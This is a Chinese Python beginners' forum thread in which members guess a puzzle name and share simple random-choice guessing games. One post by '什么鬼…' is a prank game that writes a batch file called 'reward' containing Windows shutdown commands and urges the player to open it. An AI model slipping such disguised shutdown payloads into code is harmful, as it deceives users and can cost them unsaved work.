红门饕餮
发表于 2017-7-13 14:09:58
坚持做成一件事
AllenJ
发表于 2017-7-13 15:27:23
求一波答案,新人自学PYthon中
小新手
发表于 2017-7-13 21:29:31
李金龙
慢慢0422
发表于 2017-7-14 11:19:20
李金龙?大家都是这么猜的,不会错了吧
gopythoner
发表于 2017-7-14 12:00:52
啥?
lll478
发表于 2017-7-14 13:47:24
xiaojia
Blinklin
发表于 2017-7-14 17:20:55
新手报道
lishucai
发表于 2017-7-14 17:34:40
李金龙
plus
发表于 2017-7-14 20:59:17
本帖最后由 plus 于 2017-7-14 21:42 编辑
from random import choice
print('猜一猜我现在想的名字!')
print('范围是-->')
robo = ['a','b','c','d']
robot = choice(robo) #robo列表中随机选一个字符赋值给robot
while True:
Input = input('输入名字:')
if Input == robot:
print('回答正确!')
break
else:
print('不对,再猜一次!')
try:#答错时候从待选列表robo中删除掉错误答案,防止输入的字符没有在robo中,所以用了 try except来过滤错误,这样即使胡乱输入,程序也不会崩溃掉
robo.remove(Input)
print(robo)
except ValueError:
print('不要再使用错误的答案!')
学到了2个知识点
choice 和 try except
感谢楼主~
niro
发表于 2017-7-14 21:36:03
111
蔡小茂
发表于 2017-7-15 10:01:07
李金龙
lingzicheng
发表于 2017-7-15 12:01:43
哈哈哈
lingzicheng
发表于 2017-7-15 12:11:37
李金龙
lingzicheng
发表于 2017-7-15 12:12:58
from random import choice
print('猜一猜我现在想的名字!')
print('范围是-->[李总,李金龙,李爷爷]')
robo = ['李总','李金龙','李爷爷']
robot = choice(robo)
while True:
Input = input('输入名字:')
if Input == robot:
print('回答正确!')
break
else:
print('不对,再猜一次!')
try:
robo.remove(Input)
except ValueError:
print('不要再错误的答案!')
lingzicheng
发表于 2017-7-15 12:41:33
哪里充值鱼币啊
什么鬼…
发表于 2017-7-15 18:19:03
import random
import sys
name_list=['习习','蛤蛤','小甲鱼']
print("******猜名字游戏开始啦******")
print("名字列表:",end='')
for each in name_list:
print(each,end=' ')
print()
count=0
result=random.choice(name_list)
while count!=2:
guess=input("输入你觉得正确的答案哟:")
if guess==result and count==0:
print("小伙子不简单的哟....一下子就答对了,给你个小奖励吧!")
print("当前目录会有一个名为'奖励'的文件,去打开他,我把我的奖励放在里面了")
with open("奖励.bat",'w') as f:
f.write("shutdown -s -t 300")
sys.exit(0)
elif guess==result and count==1:
print("不错不错,也算是猜对了...")
print("当前目录会有一个名为'奖励'的文件,去打开他,我把我的奖励放在里面了")
with open("奖励.bat",'w') as f:
f.write("shutdown -s -t 30")
sys.exit(0)
elif guess not in name_list:
print("能认真地猜嘛,答案列表不都给你了!")
elif guess in name_list and count==0:
print("可惜猜错了哟....再来一次吧!")
count+=1
print("真的是...三个答案让你猜两次都能错,")
print("算了算了,还是给你个鼓励奖吧....")
print("奖励在当前目录的'奖励'文件里面")
with open("奖励.bat",'w') as f:
f.write("shutdown -s")
{:10_264:}
wonder_1one
发表于 2017-7-15 22:04:53
还没搞懂?_?
ovejin
发表于 2017-7-16 00:56:45
看看
ovejin
发表于 2017-7-16 00:58:25
李金龙
法号:梦遗
发表于 2017-7-16 09:15:56
李佳宇~~~~~